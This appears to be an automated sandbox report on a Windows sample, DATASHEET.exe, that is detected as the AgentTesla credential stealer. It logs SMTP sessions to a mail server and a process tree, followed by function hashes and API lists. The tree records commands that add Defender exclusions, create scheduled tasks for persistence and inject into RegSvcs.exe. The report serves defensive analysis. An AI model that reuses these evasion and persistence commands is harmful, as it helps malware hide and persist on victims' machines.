Nov 21, 2024 09:07:33.856005907 CET	587	50016	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-59.iva.yp-c.yandex.net Ok 1732176453-X7OGmn0Oda60
Nov 21, 2024 09:07:33.856590986 CET	50016	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:07:34.315640926 CET	587	50016	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-59.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:07:34.315838099 CET	50016	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:07:34.774255037 CET	587	50016	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:07:38.333723068 CET	587	50017	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-18.iva.yp-c.yandex.net Ok 1732176458-c7Onls0OgmI0
Nov 21, 2024 09:07:38.335237026 CET	50017	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:07:38.779526949 CET	587	50017	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-18.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:07:38.799910069 CET	50017	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:07:39.245603085 CET	587	50017	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:07:42.424019098 CET	587	50018	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-31.sas.yp-c.yandex.net Ok 1732176462-g7O92H1Oq4Y0
Nov 21, 2024 09:07:42.424226999 CET	50018	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:07:42.895284891 CET	587	50018	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-31.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:07:42.895562887 CET	50018	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:07:43.362051964 CET	587	50018	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:07:51.414650917 CET	587	50019	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-55.vla.yp-c.yandex.net Ok 1732176471-p7OW5E1Oj0U0
Nov 21, 2024 09:07:51.414838076 CET	50019	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:07:51.868935108 CET	587	50019	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-55.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:07:51.869266987 CET	50019	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:07:52.323471069 CET	587	50019	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:08:04.663883924 CET	587	50020	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-84.iva.yp-c.yandex.net Ok 1732176484-48OMQl0Of0U0
Nov 21, 2024 09:08:04.664189100 CET	50020	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:08:05.126312017 CET	587	50020	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-84.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:08:05.138231993 CET	50020	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:08:05.600469112 CET	587	50020	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:08:18.173312902 CET	587	50022	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-63.sas.yp-c.yandex.net Ok 1732176497-H8OOh61OrSw0
Nov 21, 2024 09:08:18.173589945 CET	50022	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:08:18.219363928 CET	587	50021	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-39.myt.yp-c.yandex.net Ok 1732176498-H8OpQw0OeW20
Nov 21, 2024 09:08:18.248502016 CET	50021	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:08:18.615055084 CET	587	50022	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-63.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:08:18.644088030 CET	50022	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:08:18.697671890 CET	587	50021	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-39.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:08:18.701983929 CET	50021	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:08:19.086030960 CET	587	50022	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:08:19.150789022 CET	587	50021	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:08:27.898350954 CET	587	50023	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-10.sas.yp-c.yandex.net Ok 1732176507-R8OjtM1OmOs0
Nov 21, 2024 09:08:27.930685997 CET	50023	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:08:28.388123989 CET	587	50023	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-10.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:08:28.388322115 CET	50023	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:08:28.845633984 CET	587	50023	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:08:34.424320936 CET	587	50024	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-39.klg.yp-c.yandex.net Ok 1732176514-Y8OEaB1OkCg0

Target ID:	0
Start time:	03:04:23
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\DATASHEET.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DATASHEET.exe"
Imagebase:	0x900000
File size:	646'144 bytes
MD5 hash:	8B627084E10AD9B77436A4C3D8EA5EBB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:04:29
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe"
Imagebase:	0x6a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:04:29
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:04:29
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe"
Imagebase:	0x6a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:04:29
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:04:29
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp"
Imagebase:	0xba0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:04:29
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:04:29
Start date:	21/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xd20000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1805867621.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1805867621.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1805867621.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:04:30
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe
Imagebase:	0x440000
File size:	646'144 bytes
MD5 hash:	8B627084E10AD9B77436A4C3D8EA5EBB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:04:31
Start date:	21/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:04:33
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp"
Imagebase:	0xba0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:04:33
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:04:34
Start date:	21/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xfb0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	174
Total number of Limit Nodes:	11

Executed Functions

Function 07DB1F48 Relevance: 1.7, Strings: 1, Instructions: 413
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

U, xrefs: 07DB23D6

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: c2f76820912f8727c95fb3198e016d2b83f2a354603562f92964dbaec6b073b0
Instruction ID: 539265f93273683a4946ab775d6104b6c265181764699917e5297669c887c910
Opcode Fuzzy Hash: c2f76820912f8727c95fb3198e016d2b83f2a354603562f92964dbaec6b073b0
Instruction Fuzzy Hash: D0E1BBB2701305CFDB29DB65C560BAEB7F7AF89300F1448ADD14A9B290CB35E905CB61

Function 05EC6DB9 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c967df91f22c2ee3d2bb236e1b82bd98573a54604994e55af4913b8fcdd167
Instruction ID: fe78d3a2a4299fd5f02c57916a0684d9f6c95070a4cba16ddd22669ae3084e28
Opcode Fuzzy Hash: 44c967df91f22c2ee3d2bb236e1b82bd98573a54604994e55af4913b8fcdd167
Instruction Fuzzy Hash: 4021F7B1E046588BEB18CF9BC9043EEBFF7AFC9300F14D46E940A66254EB74494A8E40

Function 05EC6DC8 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41f0fdb226fe62137b22b236130eb77ce4e730f9ffb16febce4472bd78b8201
Instruction ID: 97bfa8b4c045fe78ff3f573717da0778f05b7b774a3b932411f7acbbccc9b995
Opcode Fuzzy Hash: a41f0fdb226fe62137b22b236130eb77ce4e730f9ffb16febce4472bd78b8201
Instruction Fuzzy Hash: 4511CCB1D046588BDB18CF9BC9452DEFEF7AFC9300F14D46A940A66255EB7409468E40

Function 07DB0879 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f51aaef62a5205ab876b007e0cb27327c467d3c118a23faa623da78b29c63d77
Instruction ID: 5b3aebb2b2399cbf94394a57ad08f0405ef379eb0fe71d32e703900bb64ff9bd
Opcode Fuzzy Hash: f51aaef62a5205ab876b007e0cb27327c467d3c118a23faa623da78b29c63d77
Instruction Fuzzy Hash: E4016DB495D254CFCB208F54D8486F9FBB8FB0B319F0431E6D48B96152CB309685CA15

Function 07DB0223 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb15ec4d64928e52c44f1f521625d8b45aed37d1ed1d6d66dea9774dc9859da7
Instruction ID: 35319a9cad760ad8a7d2d29c828f9940111629c38f920e728916721c422efb5d
Opcode Fuzzy Hash: eb15ec4d64928e52c44f1f521625d8b45aed37d1ed1d6d66dea9774dc9859da7
Instruction Fuzzy Hash: D1F0C9B8969258CBCB248F54D9447FDFBB8AB4A355F1060A6E04AA2211CB309A85CF05

Function 07DB0834 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b48bc99f54876f4fee441b41ae1d00420031141ed33ddc8addab46712babeb1
Instruction ID: 90c04a9974a17fef0036771d066c5f408bd15634e5457d421a6d1165a4202446
Opcode Fuzzy Hash: 7b48bc99f54876f4fee441b41ae1d00420031141ed33ddc8addab46712babeb1
Instruction Fuzzy Hash: 1BE0EDB4959118DBC7208F54D8447FDFB78AB4B315F1070A5D48FA2211CB309AD5CA14

Function 07DB0797 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dcae8f72169f06361545971729310de87e8ec412b176038f5ee691262309859
Instruction ID: 1c5f8108d8a0eca5ceb6e81606e386dd37d2b9a81ff45f16a9d11f9d43efd8ab
Opcode Fuzzy Hash: 5dcae8f72169f06361545971729310de87e8ec412b176038f5ee691262309859
Instruction Fuzzy Hash: 06E04FB4D5E108CFCB506F64A8482F9FB78EB07215F1430A5D04E93501CA308A91CB19

Function 02B2D3B0 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02B2D43E
GetCurrentThread.KERNEL32 ref: 02B2D47B
GetCurrentProcess.KERNEL32 ref: 02B2D4B8
GetCurrentThreadId.KERNEL32 ref: 02B2D511

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 94c40d0c41c3c35b32f8011a216792d10e0e1d7a3e4a2ee671540adb5791c9b3
Instruction ID: ed464672b40f663393dcb98e2801b35489f64b7b05e5f3d2036f4731196851fd
Opcode Fuzzy Hash: 94c40d0c41c3c35b32f8011a216792d10e0e1d7a3e4a2ee671540adb5791c9b3
Instruction Fuzzy Hash: A55177B09003099FDB04DFA9D548BDEBBF0AF48318F24C459E019A7360CB74A984CB65

Function 02B2D3C0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02B2D43E
GetCurrentThread.KERNEL32 ref: 02B2D47B
GetCurrentProcess.KERNEL32 ref: 02B2D4B8
GetCurrentThreadId.KERNEL32 ref: 02B2D511

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 33204783b7bbdbe23d064f1ec13688f3c5d4188817dca131a308d8792bde0ca7
Instruction ID: fd0d90ec30c64c263626f2edde2066f30997a5ff06740d3473fa4686daae8bc2
Opcode Fuzzy Hash: 33204783b7bbdbe23d064f1ec13688f3c5d4188817dca131a308d8792bde0ca7
Instruction Fuzzy Hash: DA5146B09003099FDB14DFAAD548BDEBBF5EF88318F24C459E018A7260DB74A984CB65

Function 05ECCA44 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05ECCC86

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7f400d2d1c65d9ae5c7464fa8a061a74491eb500798abe6fb9e12db83931c910
Instruction ID: c00058f77f099727733e8d004578fb54aaa4404e200519ffa12fd985a62bd5f0
Opcode Fuzzy Hash: 7f400d2d1c65d9ae5c7464fa8a061a74491eb500798abe6fb9e12db83931c910
Instruction Fuzzy Hash: E7A16D71D002199FEB20CFA8C941BEDBFB2BF44314F1485A9E85DA7240D7749986CF91

Function 05ECCA50 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05ECCC86

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 61d4a47587c4b094431804da70997e46aca9efedc0d1d30ba255f53fa2792d13
Instruction ID: 0b2827c88bba26c2fbf6e3a811e002681f3200d68569f11aa245ee5a81f61837
Opcode Fuzzy Hash: 61d4a47587c4b094431804da70997e46aca9efedc0d1d30ba255f53fa2792d13
Instruction Fuzzy Hash: 72916B71D002199FEB24CFA8C941BEDBFB2BF48314F1485A9E85DA7240DB749986CF91

Function 02B2B130 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02B2B386

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3d90b156bb00b840c6d39758ce0ef8d223b846d6ca7c381158414224189463df
Instruction ID: e4d0a00ed1fc5928b9244b5ae06230504e656b7e11116e759767453fa2f56b96
Opcode Fuzzy Hash: 3d90b156bb00b840c6d39758ce0ef8d223b846d6ca7c381158414224189463df
Instruction Fuzzy Hash: 88715470A00B158FD724DF69D54575ABBF2FF88308F008A6ED08ADBA50DB74E949CB91

Function 02B2590D Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02B259C9

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2b40b5460ebfb173ca3a2c3b49e898d7f8361d2cd0154d16978331c2c7c12ee7
Instruction ID: 15513fd31c3a71c461af659640aa786cdff31030f590d4229bcdfa34b9841773
Opcode Fuzzy Hash: 2b40b5460ebfb173ca3a2c3b49e898d7f8361d2cd0154d16978331c2c7c12ee7
Instruction Fuzzy Hash: B151F1B1C00729CFDB24CFA9C8857DEBBF5AF48304F2480AAD048AB251D7756989CF90

Function 02B244C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02B259C9

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 6e866e61f868cc52a1dd6eb971b97ebcdd132c6cb96d54e7b56e8fdf0f5b80ea
Instruction ID: bf9bb7533e4dd14608438caebedd4ffeec35e8c6c671bfc4b990ea1ff889537b
Opcode Fuzzy Hash: 6e866e61f868cc52a1dd6eb971b97ebcdd132c6cb96d54e7b56e8fdf0f5b80ea
Instruction Fuzzy Hash: 6641D2B0C0072DCBDB24DFA9C9847DDBBB5BF49304F6480AAD408AB255DB756949CF90

Function 05ECC8B2 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05ECC938

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7dffcf47c31daebd19cb5dc359c56d4240af7da4ea8bfd5bc1e901aeee00849d
Instruction ID: bc6be3fcd55c1239ae8d8ee808453f255e9a0a6bb7c733642e39d78c03585c03
Opcode Fuzzy Hash: 7dffcf47c31daebd19cb5dc359c56d4240af7da4ea8bfd5bc1e901aeee00849d
Instruction Fuzzy Hash: 5C2155B2800349DFCB10CFA9C9816EEFBF1FF48320F24846AE558A7250C7389945CBA5

Function 05ECC7C0 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05ECC858

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8e5abb33b4723688862ce68c1f07965afc042eb9c72e4f3fac8c3941e6040a15
